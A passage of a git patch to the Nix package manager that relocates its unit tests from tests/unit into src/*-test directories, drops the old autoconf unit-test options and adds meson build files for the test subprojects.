{tests/unit/libutil => src/libutil-test}/nix_api_util.cc (100%) rename {tests/unit/libutil => src/libutil-test}/package.nix (100%) rename {tests/unit/libutil => src/libutil-test}/pool.cc (100%) rename {tests/unit/libutil => src/libutil-test}/references.cc (100%) rename {tests/unit/libutil => src/libutil-test}/spawn.cc (100%) rename {tests/unit/libutil => src/libutil-test}/suggestions.cc (100%) rename {tests/unit/libutil => src/libutil-test}/tests.cc (100%) rename {tests/unit/libutil => src/libutil-test}/url.cc (100%) rename {tests/unit/libutil => src/libutil-test}/xml-writer.cc (100%) delete mode 100644 tests/unit/libexpr-support/local.mk delete mode 100644 tests/unit/libexpr/local.mk delete mode 100644 tests/unit/libfetchers/local.mk delete mode 100644 tests/unit/libflake/local.mk delete mode 100644 tests/unit/libstore-support/local.mk delete mode 100644 tests/unit/libstore/local.mk delete mode 120000 tests/unit/libutil-support/.version delete mode 100644 tests/unit/libutil-support/local.mk delete mode 100644 tests/unit/libutil/.version delete mode 100644 tests/unit/libutil/local.mk diff --git a/.gitignore b/.gitignore index a17b627f4..838cac335 100644 --- a/.gitignore +++ b/.gitignore @@ -49,22 +49,22 @@ perl/Makefile.config /src/libexpr/parser-tab.output /src/libexpr/nix.tbl /src/libexpr/tests -/tests/unit/libexpr/libnixexpr-tests +/src/libexpr-test/libnixexpr-tests # /src/libfetchers -/tests/unit/libfetchers/libnixfetchers-tests +/src/libfetchers-test/libnixfetchers-tests # /src/libflake -/tests/unit/libflake/libnixflake-tests +/src/libflake-test/libnixflake-tests # /src/libstore/ *.gen.* /src/libstore/tests -/tests/unit/libstore/libnixstore-tests +/src/libstore-test/libnixstore-tests # /src/libutil/ /src/libutil/tests -/tests/unit/libutil/libnixutil-tests +/src/libutil-test/libnixutil-tests /src/nix/nix diff --git a/Makefile b/Makefile index bb64a104e..a65cdbd40 100644 --- a/Makefile +++ b/Makefile @@ -38,18 +38,6 @@ makefiles += \ endif endif -ifeq ($(ENABLE_UNIT_TESTS), yes) -makefiles += \ - tests/unit/libutil/local.mk \ - tests/unit/libutil-support/local.mk \ - tests/unit/libstore/local.mk \ - tests/unit/libstore-support/local.mk \ - tests/unit/libfetchers/local.mk \ - tests/unit/libexpr/local.mk \ - tests/unit/libexpr-support/local.mk \ - tests/unit/libflake/local.mk -endif - ifeq ($(ENABLE_FUNCTIONAL_TESTS), yes) ifdef HOST_UNIX makefiles += \ @@ -103,13 +91,6 @@ include mk/lib.mk # These must be defined after `mk/lib.mk`. Otherwise the first rule # incorrectly becomes the default target. -ifneq ($(ENABLE_UNIT_TESTS), yes) -.PHONY: check -check: - @echo "Unit tests are disabled. Configure without '--disable-unit-tests', or avoid calling 'make check'." - @exit 1 -endif - ifneq ($(ENABLE_FUNCTIONAL_TESTS), yes) .PHONY: installcheck installcheck: diff --git a/Makefile.config.in b/Makefile.config.in index 3100d2073..e131484f6 100644 --- a/Makefile.config.in +++ b/Makefile.config.in @@ -12,7 +12,6 @@ ENABLE_BUILD = @ENABLE_BUILD@ ENABLE_DOC_GEN = @ENABLE_DOC_GEN@ ENABLE_FUNCTIONAL_TESTS = @ENABLE_FUNCTIONAL_TESTS@ ENABLE_S3 = @ENABLE_S3@ -ENABLE_UNIT_TESTS = @ENABLE_UNIT_TESTS@ GTEST_LIBS = @GTEST_LIBS@ HAVE_LIBCPUID = @HAVE_LIBCPUID@ HAVE_SECCOMP = @HAVE_SECCOMP@ diff --git a/configure.ac b/configure.ac index 4f66a3efc..b9f190166 100644 --- a/configure.ac +++ b/configure.ac @@ -141,18 +141,6 @@ AC_ARG_ENABLE(build, AS_HELP_STRING([--disable-build],[Do not build nix]), ENABLE_BUILD=$enableval, ENABLE_BUILD=yes) AC_SUBST(ENABLE_BUILD) -# Building without unit tests is useful for bootstrapping with a smaller footprint -# or running the tests in a separate derivation. Otherwise, we do compile and -# run them. - -AC_ARG_ENABLE(unit-tests, AS_HELP_STRING([--disable-unit-tests],[Do not build the tests]), - ENABLE_UNIT_TESTS=$enableval, ENABLE_UNIT_TESTS=$ENABLE_BUILD) -AC_SUBST(ENABLE_UNIT_TESTS) - -AS_IF( - [test "$ENABLE_BUILD" == "no" && test "$ENABLE_UNIT_TESTS" == "yes"], - [AC_MSG_ERROR([Cannot enable unit tests when building overall is disabled. Please do not pass '--enable-unit-tests' or do not pass '--disable-build'.])]) - AC_ARG_ENABLE(functional-tests, AS_HELP_STRING([--disable-functional-tests],[Do not build the tests]), ENABLE_FUNCTIONAL_TESTS=$enableval, ENABLE_FUNCTIONAL_TESTS=yes) AC_SUBST(ENABLE_FUNCTIONAL_TESTS) @@ -365,16 +353,6 @@ if test "$gc" = yes; then CFLAGS="$old_CFLAGS" fi -AS_IF([test "$ENABLE_UNIT_TESTS" == "yes"],[ - -# Look for gtest. -PKG_CHECK_MODULES([GTEST], [gtest_main gmock_main]) - -# Look for rapidcheck. -PKG_CHECK_MODULES([RAPIDCHECK], [rapidcheck rapidcheck_gtest]) - -]) - # Look for nlohmann/json. PKG_CHECK_MODULES([NLOHMANN_JSON], [nlohmann_json >= 3.9]) diff --git a/doc/manual/src/contributing/hacking.md b/doc/manual/src/contributing/hacking.md index 08ba84faa..c128515e9 100644 --- a/doc/manual/src/contributing/hacking.md +++ b/doc/manual/src/contributing/hacking.md @@ -122,7 +122,6 @@ Run `make` with [`-e` / `--environment-overrides`](https://www.gnu.org/software/ The docs can take a while to build, so you may want to disable this for local development. - `ENABLE_FUNCTIONAL_TESTS=yes` to enable building the functional tests. -- `ENABLE_UNIT_TESTS=yes` to enable building the unit tests. - `OPTIMIZE=1` to enable optimizations. - `libraries=libutil programs=` to only build a specific library. diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md index 717deabd7..ed9c25f7a 100644 --- a/doc/manual/src/contributing/testing.md +++ b/doc/manual/src/contributing/testing.md @@ -59,15 +59,15 @@ The unit tests are defined using the [googletest] and [rapidcheck] frameworks. > … > ``` -The tests for each Nix library (`libnixexpr`, `libnixstore`, etc..) live inside a directory `tests/unit/${library_name_without-nix}`. -Given an interface (header) and implementation pair in the original library, say, `src/libexpr/value/context.{hh,cc}`, we write tests for it in `tests/unit/libexpr/tests/value/context.cc`, and (possibly) declare/define additional interfaces for testing purposes in `tests/unit/libexpr-support/tests/value/context.{hh,cc}`. +The tests for each Nix library (`libnixexpr`, `libnixstore`, etc..) live inside a directory `src/${library_name_without-nix}-test`. +Given an interface (header) and implementation pair in the original library, say, `src/libexpr/value/context.{hh,cc}`, we write tests for it in `src/libexpr-test/value/context.cc`, and (possibly) declare/define additional interfaces for testing purposes in `src/libexpr-test-support/tests/value/context.{hh,cc}`. Data for unit tests is stored in a `data` subdir of the directory for each unit test executable. -For example, `libnixstore` code is in `src/libstore`, and its test data is in `tests/unit/libstore/data`. -The path to the `tests/unit/data` directory is passed to the unit test executable with the environment variable `_NIX_TEST_UNIT_DATA`. +For example, `libnixstore` code is in `src/libstore`, and its test data is in `src/libstore-test/data`. +The path to the `src/${library_name_without-nix}-test/data` directory is passed to the unit test executable with the environment variable `_NIX_TEST_UNIT_DATA`. Note that each executable only gets the data for its tests. -The unit test libraries are in `tests/unit/${library_name_without-nix}-lib`. +The unit test libraries are in `src/${library_name_without-nix}-test-support`. All headers are in a `tests` subdirectory so they are included with `#include "tests/"`. The use of all these separate directories for the unit tests might seem inconvenient, as for example the tests are not "right next to" the part of the code they are testing. diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 8f95e788b..b78e5f63a 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -15,7 +15,7 @@ excludes = [ # We don't want to format test data # ''tests/(?!nixos/).*\.nix'' - ''^tests/unit/[^/]*/data/.*$'' + ''^src/[^/]*-test/[^/]*/data/.*$'' # Don't format vendored code ''^doc/manual/redirects\.js$'' @@ -429,65 +429,65 @@ ''^tests/nixos/ca-fd-leak/sender\.c'' ''^tests/nixos/ca-fd-leak/smuggler\.c'' ''^tests/nixos/user-sandboxing/attacker\.c'' - ''^tests/unit/libexpr-support/tests/libexpr\.hh'' - ''^tests/unit/libexpr-support/tests/value/context\.cc'' - ''^tests/unit/libexpr-support/tests/value/context\.hh'' - ''^tests/unit/libexpr/derived-path\.cc'' - ''^tests/unit/libexpr/error_traces\.cc'' - ''^tests/unit/libexpr/eval\.cc'' - ''^tests/unit/libexpr/json\.cc'' - ''^tests/unit/libexpr/main\.cc'' - ''^tests/unit/libexpr/primops\.cc'' - ''^tests/unit/libexpr/search-path\.cc'' - ''^tests/unit/libexpr/trivial\.cc'' - ''^tests/unit/libexpr/value/context\.cc'' - ''^tests/unit/libexpr/value/print\.cc'' - ''^tests/unit/libfetchers/public-key\.cc'' - ''^tests/unit/libflake/flakeref\.cc'' - ''^tests/unit/libflake/url-name\.cc'' - ''^tests/unit/libstore-support/tests/derived-path\.cc'' - ''^tests/unit/libstore-support/tests/derived-path\.hh'' - ''^tests/unit/libstore-support/tests/nix_api_store\.hh'' - ''^tests/unit/libstore-support/tests/outputs-spec\.cc'' - ''^tests/unit/libstore-support/tests/outputs-spec\.hh'' - ''^tests/unit/libstore-support/tests/path\.cc'' - ''^tests/unit/libstore-support/tests/path\.hh'' - ''^tests/unit/libstore-support/tests/protocol\.hh'' - ''^tests/unit/libstore/common-protocol\.cc'' - ''^tests/unit/libstore/content-address\.cc'' - ''^tests/unit/libstore/derivation\.cc'' - ''^tests/unit/libstore/derived-path\.cc'' - ''^tests/unit/libstore/downstream-placeholder\.cc'' - ''^tests/unit/libstore/machines\.cc'' - ''^tests/unit/libstore/nar-info-disk-cache\.cc'' - ''^tests/unit/libstore/nar-info\.cc'' - ''^tests/unit/libstore/outputs-spec\.cc'' - ''^tests/unit/libstore/path-info\.cc'' - ''^tests/unit/libstore/path\.cc'' - ''^tests/unit/libstore/serve-protocol\.cc'' - ''^tests/unit/libstore/worker-protocol\.cc'' - ''^tests/unit/libutil-support/tests/characterization\.hh'' - ''^tests/unit/libutil-support/tests/hash\.cc'' - ''^tests/unit/libutil-support/tests/hash\.hh'' - ''^tests/unit/libutil/args\.cc'' - ''^tests/unit/libutil/canon-path\.cc'' - ''^tests/unit/libutil/chunked-vector\.cc'' - ''^tests/unit/libutil/closure\.cc'' - ''^tests/unit/libutil/compression\.cc'' - ''^tests/unit/libutil/config\.cc'' - ''^tests/unit/libutil/file-content-address\.cc'' - ''^tests/unit/libutil/git\.cc'' - ''^tests/unit/libutil/hash\.cc'' - ''^tests/unit/libutil/hilite\.cc'' - ''^tests/unit/libutil/json-utils\.cc'' - ''^tests/unit/libutil/logging\.cc'' - ''^tests/unit/libutil/lru-cache\.cc'' - ''^tests/unit/libutil/pool\.cc'' - ''^tests/unit/libutil/references\.cc'' - ''^tests/unit/libutil/suggestions\.cc'' - ''^tests/unit/libutil/tests\.cc'' - ''^tests/unit/libutil/url\.cc'' - ''^tests/unit/libutil/xml-writer\.cc'' + ''^src/libexpr-test-support/tests/libexpr\.hh'' + ''^src/libexpr-test-support/tests/value/context\.cc'' + ''^src/libexpr-test-support/tests/value/context\.hh'' + ''^src/libexpr-test/derived-path\.cc'' + ''^src/libexpr-test/error_traces\.cc'' + ''^src/libexpr-test/eval\.cc'' + ''^src/libexpr-test/json\.cc'' + ''^src/libexpr-test/main\.cc'' + ''^src/libexpr-test/primops\.cc'' + ''^src/libexpr-test/search-path\.cc'' + ''^src/libexpr-test/trivial\.cc'' + ''^src/libexpr-test/value/context\.cc'' + ''^src/libexpr-test/value/print\.cc'' + ''^src/libfetchers-test/public-key\.cc'' + ''^src/libflake-test/flakeref\.cc'' + ''^src/libflake-test/url-name\.cc'' + ''^src/libstore-test-support/tests/derived-path\.cc'' + ''^src/libstore-test-support/tests/derived-path\.hh'' + ''^src/libstore-test-support/tests/nix_api_store\.hh'' + ''^src/libstore-test-support/tests/outputs-spec\.cc'' + ''^src/libstore-test-support/tests/outputs-spec\.hh'' + ''^src/libstore-test-support/tests/path\.cc'' + ''^src/libstore-test-support/tests/path\.hh'' + ''^src/libstore-test-support/tests/protocol\.hh'' + ''^src/libstore-test/common-protocol\.cc'' + ''^src/libstore-test/content-address\.cc'' + ''^src/libstore-test/derivation\.cc'' + ''^src/libstore-test/derived-path\.cc'' + ''^src/libstore-test/downstream-placeholder\.cc'' + ''^src/libstore-test/machines\.cc'' + ''^src/libstore-test/nar-info-disk-cache\.cc'' + ''^src/libstore-test/nar-info\.cc'' + ''^src/libstore-test/outputs-spec\.cc'' + ''^src/libstore-test/path-info\.cc'' + ''^src/libstore-test/path\.cc'' + ''^src/libstore-test/serve-protocol\.cc'' + ''^src/libstore-test/worker-protocol\.cc'' + ''^src/libutil-test-support/tests/characterization\.hh'' + ''^src/libutil-test-support/tests/hash\.cc'' + ''^src/libutil-test-support/tests/hash\.hh'' + ''^src/libutil-test/args\.cc'' + ''^src/libutil-test/canon-path\.cc'' + ''^src/libutil-test/chunked-vector\.cc'' + ''^src/libutil-test/closure\.cc'' + ''^src/libutil-test/compression\.cc'' + ''^src/libutil-test/config\.cc'' + ''^src/libutil-test/file-content-address\.cc'' + ''^src/libutil-test/git\.cc'' + ''^src/libutil-test/hash\.cc'' + ''^src/libutil-test/hilite\.cc'' + ''^src/libutil-test/json-utils\.cc'' + ''^src/libutil-test/logging\.cc'' + ''^src/libutil-test/lru-cache\.cc'' + ''^src/libutil-test/pool\.cc'' + ''^src/libutil-test/references\.cc'' + ''^src/libutil-test/suggestions\.cc'' + ''^src/libutil-test/tests\.cc'' + ''^src/libutil-test/url\.cc'' + ''^src/libutil-test/xml-writer\.cc'' ]; }; shellcheck = { @@ -666,7 +666,7 @@ ''^tests/functional/user-envs\.sh$'' ''^tests/functional/why-depends\.sh$'' ''^tests/functional/zstd\.sh$'' - ''^tests/unit/libutil/data/git/check-data\.sh$'' + ''^src/libutil-test/data/git/check-data\.sh$'' ]; }; # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153 diff --git a/meson.build b/meson.build index 2a3932a40..fb38d7ef2 100644 --- a/meson.build +++ b/meson.build @@ -27,8 +27,9 @@ subproject('perl') # Testing subproject('libutil-test-support') subproject('libutil-test') -#subproject('libstore-test-support') -#subproject('libstore-test') -#subproject('libexpr-test-support') -#subproject('libexpr-test') -#subproject('libflake-test') +subproject('libstore-test-support') +subproject('libstore-test') +subproject('libfetchers-test') +subproject('libexpr-test-support') +subproject('libexpr-test') +subproject('libflake-test') diff --git a/mk/common-test.sh b/mk/common-test.sh index c80abd381..817422c40 100644 --- a/mk/common-test.sh +++ b/mk/common-test.sh @@ -4,7 +4,7 @@ # remove file extension. test_name=$(echo -n "${test?must be defined by caller (test runner)}" | sed \ - -e "s|^tests/unit/[^/]*/data/||" \ + -e "s|^src/[^/]*-test/data/||" \ -e "s|^tests/functional/||" \ -e "s|\.sh$||" \ ) diff --git a/package.nix b/package.nix index 158696f30..0661dc080 100644 --- a/package.nix +++ b/package.nix @@ -52,10 +52,6 @@ # Whether to build Nix. Useful to skip for tasks like testing existing pre-built versions of Nix , doBuild ? true -# Run the unit tests as part of the build. See `installUnitTests` for an -# alternative to this. -, doCheck ? __forDefaults.canRunInstalled - # Run the functional tests as part of the build. , doInstallCheck ? test-client != null || __forDefaults.canRunInstalled @@ -88,11 +84,6 @@ # - readline , readlineFlavor ? if stdenv.hostPlatform.isWindows then "readline" else "editline" -# Whether to install unit tests. This is useful when cross compiling -# since we cannot run them natively during the build, but can do so -# later. -, installUnitTests ? doBuild && !__forDefaults.canExecuteHost - # For running the functional tests against a pre-built Nix. Probably # want to use in conjunction with `doBuild = false;`. , test-daemon ? null @@ -118,7 +109,7 @@ let # things which should instead be gotten via `finalAttrs` in order to # work with overriding. attrs = { - inherit doBuild doCheck doInstallCheck; + inherit doBuild doInstallCheck; }; mkDerivation = @@ -134,16 +125,11 @@ in mkDerivation (finalAttrs: let inherit (finalAttrs) - doCheck doInstallCheck ; doBuild = !finalAttrs.dontBuild; - # Either running the unit tests during the build, or installing them - # to be run later, requiresthe unit tests to be built. - buildUnitTests = doCheck || installUnitTests; - in { inherit pname version; @@ -175,10 +161,8 @@ in { (fileset.difference ./src ./src/perl) ./COPYING ./scripts/local.mk - ] ++ lib.optionals buildUnitTests [ + ] ++ lib.optionals enableManual [ ./doc/manual - ] ++ lib.optionals buildUnitTests [ - ./tests/unit ] ++ lib.optionals doInstallCheck [ ./tests/functional ])); @@ -191,8 +175,6 @@ in { # If we are doing just build or just docs, the one thing will use # "out". We only need additional outputs if we are doing both. ++ lib.optional (doBuild && enableManual) "doc" - ++ lib.optional installUnitTests "check" - ++ lib.optional doCheck "testresults" ; nativeBuildInputs = [ @@ -234,9 +216,6 @@ in { ({ inherit readline editline; }.${readlineFlavor}) ] ++ lib.optionals enableMarkdown [ lowdown - ] ++ lib.optionals buildUnitTests [ - gtest - rapidcheck ] ++ lib.optional stdenv.isLinux libseccomp ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid # There have been issues building these dependencies @@ -252,7 +231,6 @@ in { ] ++ lib.optional enableGC boehmgc; dontBuild = !attrs.doBuild; - doCheck = attrs.doCheck; disallowedReferences = [ boost ]; @@ -278,18 +256,13 @@ in { configureFlags = [ (lib.enableFeature doBuild "build") - (lib.enableFeature buildUnitTests "unit-tests") (lib.enableFeature doInstallCheck "functional-tests") (lib.enableFeature enableManual "doc-gen") (lib.enableFeature enableGC "gc") (lib.enableFeature enableMarkdown "markdown") - (lib.enableFeature installUnitTests "install-unit-tests") (lib.withFeatureAs true "readline-flavor" readlineFlavor) ] ++ lib.optionals (!forDevShell) [ "--sysconfdir=/etc" - ] ++ lib.optionals installUnitTests [ - "--with-check-bin-dir=${builtins.placeholder "check"}/bin" - "--with-check-lib-dir=${builtins.placeholder "check"}/lib" ] ++ lib.optionals (doBuild) [ "--with-boost=${boost}/lib" ] ++ lib.optionals (doBuild && stdenv.isLinux) [ @@ -375,10 +348,6 @@ in { platforms = lib.platforms.unix ++ lib.platforms.windows; mainProgram = "nix"; broken = !(lib.all (a: a) [ - # We cannot run or install unit tests if we don't build them or - # Nix proper (which they depend on). - (installUnitTests -> doBuild) - (doCheck -> doBuild) # The build process for the manual currently requires extracting # data from the Nix executable we are trying to document. (enableManual -> doBuild) diff --git a/packaging/components.nix b/packaging/components.nix index 01b4e826e..0189f4ca3 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -8,18 +8,40 @@ in nix = callPackage ../package.nix { }; nix-util = callPackage ../src/libutil/package.nix { }; - - nix-util-test-support = callPackage ../tests/unit/libutil-support/package.nix { }; - - nix-util-test = callPackage ../tests/unit/libutil/package.nix { }; - + nix-util-test-support = callPackage ../src/libutil-test-support/package.nix { }; + nix-util-test = callPackage ../src/libutil-test/package.nix { }; nix-util-c = callPackage ../src/libutil-c/package.nix { }; nix-store = callPackage ../src/libstore/package.nix { }; + nix-store-test-support = callPackage ../src/libstore-test-support/package.nix { }; + nix-store-test = callPackage ../src/libstore-test/package.nix { }; + nix-store-c = callPackage ../src/libstore-c/package.nix { }; nix-fetchers = callPackage ../src/libfetchers/package.nix { }; + nix-fetchers-test = callPackage ../src/libfetchers-test/package.nix { }; + nix-fetchers-c = callPackage ../src/libfetchers-c/package.nix { }; nix-expr = callPackage ../src/libexpr/package.nix { }; + nix-expr-test-support = callPackage ../src/libexpr-test-support/package.nix { }; + nix-expr-test = callPackage ../src/libexpr-test/package.nix { }; + nix-expr-c = callPackage ../src/libexpr-c/package.nix { }; + + nix-flake = callPackage ../src/libflake/package.nix { }; + nix-flake-c = callPackage ../src/libflake-c/package.nix { }; + + nix-store = callPackage ../src/libstore/package.nix { }; + nix-store-test-support = callPackage ../src/libstore-test-support/package.nix { }; + nix-store-test = callPackage ../src/libstore-test/package.nix { }; + nix-store-c = callPackage ../src/libstore-c/package.nix { }; + + nix-fetchers = callPackage ../src/libfetchers/package.nix { }; + nix-fetchers-test = callPackage ../src/libfetchers-test/package.nix { }; + nix-fetchers-c = callPackage ../src/libfetchers-c/package.nix { }; + + nix-expr = callPackage ../src/libexpr/package.nix { }; + nix-expr-test-support = callPackage ../src/libexpr-test-support/package.nix { }; + nix-expr-test = callPackage ../src/libexpr-test/package.nix { }; + nix-expr-c = callPackage ../src/libexpr-c/package.nix { }; nix-flake = callPackage ../src/libflake/package.nix { }; diff --git a/src/internal-api-docs/doxygen.cfg.in b/src/internal-api-docs/doxygen.cfg.in index 9e7425581..395e43fe1 100644 --- a/src/internal-api-docs/doxygen.cfg.in +++ b/src/internal-api-docs/doxygen.cfg.in @@ -38,27 +38,27 @@ GENERATE_LATEX = NO # so they can expand variables despite configure variables. INPUT = \ - @src@/src/libcmd \ - @src@/src/libexpr \ - @src@/src/libexpr/flake \ - @src@/tests/unit/libexpr \ - @src@/tests/unit/libexpr/value \ - @src@/tests/unit/libexpr/test \ - @src@/tests/unit/libexpr/test/value \ - @src@/src/libexpr/value \ - @src@/src/libfetchers \ - @src@/src/libmain \ - @src@/src/libstore \ - @src@/src/libstore/build \ - @src@/src/libstore/builtins \ - @src@/tests/unit/libstore \ - @src@/tests/unit/libstore/test \ - @src@/src/libutil \ - @src@/tests/unit/libutil \ - @src@/tests/unit/libutil/test \ - @src@/src/nix \ - @src@/src/nix-env \ - @src@/src/nix-store + @src@/libcmd \ + @src@/libexpr \ + @src@/libexpr/flake \ + @src@/libexpr-test \ + @src@/libexpr-test/value \ + @src@/libexpr-test-support/test \ + @src@/libexpr-test-support/test/value \ + @src@/libexpr/value \ + @src@/libfetchers \ + @src@/libmain \ + @src@/libstore \ + @src@/libstore/build \ + @src@/libstore/builtins \ + @src@/libstore-test \ + @src@/libstore-test-support/test \ + @src@/libutil \ + @src@/libutil-test \ + @src@/libutil-test-support/test \ + @src@/nix \ + @src@/nix-env \ + @src@/nix-store # If the MACRO_EXPANSION tag is set to YES, doxygen will expand all macro names # in the source code. If set to NO, only conditional compilation will be diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix index fa54d55f3..6a3bc0501 100644 --- a/src/internal-api-docs/package.nix +++ b/src/internal-api-docs/package.nix @@ -28,7 +28,6 @@ stdenv.mkDerivation (finalAttrs: { # Source is not compiled, but still must be available for Doxygen # to gather comments. (cpp ../.) - (cpp ../../tests/unit) ]; }; diff --git a/src/libexpr-test-support/.version b/src/libexpr-test-support/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libexpr-test-support/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build new file mode 100644 index 000000000..5ab0661ca --- /dev/null +++ b/src/libexpr-test-support/meson.build @@ -0,0 +1,128 @@ +project('nix-expr-test-support', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_public = [ ] + +# See note in ../nix-util/meson.build +deps_public_subproject = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +foreach nix_dep : [ + dependency('nix-util'), + dependency('nix-util-test-support'), + dependency('nix-store'), + dependency('nix-store-test-support'), + dependency('nix-expr'), +] + if nix_dep.type_name() == 'internal' + deps_public_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_public += nix_dep + endif +endforeach + +rapidcheck = dependency('rapidcheck') +deps_public += rapidcheck + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-expr.hh', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'tests/value/context.cc', +) + +include_dirs = [include_directories('.')] + +headers = files( + 'tests/libexpr.hh', + 'tests/nix_api_expr.hh', + 'tests/value/context.hh', +) + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +this_library = library( + 'nix-expr-test-support', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326 + # is available. See also ../libutil/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +requires = [] +foreach dep : deps_public_subproject + requires += dep.name() +endforeach +requires += deps_public + +import('pkgconfig').generate( + this_library, + filebase : meson.project_name(), + name : 'Nix', + description : 'Nix Package Manager', + subdirs : ['nix'], + extra_cflags : ['-std=c++2a'], + requires : requires, + requires_private : deps_private, +) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_library, + compile_args : ['-std=c++2a'], + dependencies : deps_public_subproject + deps_public, +)) diff --git a/tests/unit/libexpr-support/tests/libexpr.hh b/src/libexpr-test-support/tests/libexpr.hh similarity index 100% rename from tests/unit/libexpr-support/tests/libexpr.hh rename to src/libexpr-test-support/tests/libexpr.hh diff --git a/tests/unit/libexpr-support/tests/nix_api_expr.hh b/src/libexpr-test-support/tests/nix_api_expr.hh similarity index 100% rename from tests/unit/libexpr-support/tests/nix_api_expr.hh rename to src/libexpr-test-support/tests/nix_api_expr.hh diff --git a/tests/unit/libexpr-support/tests/value/context.cc b/src/libexpr-test-support/tests/value/context.cc similarity index 100% rename from tests/unit/libexpr-support/tests/value/context.cc rename to src/libexpr-test-support/tests/value/context.cc diff --git a/tests/unit/libexpr-support/tests/value/context.hh b/src/libexpr-test-support/tests/value/context.hh similarity index 100% rename from tests/unit/libexpr-support/tests/value/context.hh rename to src/libexpr-test-support/tests/value/context.hh diff --git a/src/libexpr-test/.version b/src/libexpr-test/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libexpr-test/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/tests/unit/libexpr/derived-path.cc b/src/libexpr-test/derived-path.cc similarity index 100% rename from tests/unit/libexpr/derived-path.cc rename to src/libexpr-test/derived-path.cc diff --git a/tests/unit/libexpr/error_traces.cc b/src/libexpr-test/error_traces.cc similarity index 100% rename from tests/unit/libexpr/error_traces.cc rename to src/libexpr-test/error_traces.cc diff --git a/tests/unit/libexpr/eval.cc b/src/libexpr-test/eval.cc similarity index 100% rename from tests/unit/libexpr/eval.cc rename to src/libexpr-test/eval.cc diff --git a/tests/unit/libexpr/json.cc b/src/libexpr-test/json.cc similarity index 100% rename from tests/unit/libexpr/json.cc rename to src/libexpr-test/json.cc diff --git a/tests/unit/libexpr/main.cc b/src/libexpr-test/main.cc similarity index 100% rename from tests/unit/libexpr/main.cc rename to src/libexpr-test/main.cc diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build new file mode 100644 index 000000000..d4b0db51f --- /dev/null +++ b/src/libexpr-test/meson.build @@ -0,0 +1,125 @@ +project('nix-expr-test', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_private_subproject = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +foreach nix_dep : [ + dependency('nix-util'), + dependency('nix-util-c'), + dependency('nix-util-test-support'), + dependency('nix-store'), + dependency('nix-store-c'), + dependency('nix-store-test-support'), + dependency('nix-expr'), + dependency('nix-expr-c'), + dependency('nix-expr-test-support'), +] + if nix_dep.type_name() == 'internal' + deps_private_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_private += nix_dep + endif +endforeach + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +rapidcheck = dependency('rapidcheck') +deps_private += rapidcheck + +gtest = dependency('gtest', main : true) +deps_private += gtest + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-store.hh', + '-include', 'config-util.h', + '-include', 'config-store.h', + '-include', 'config-expr.h', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # 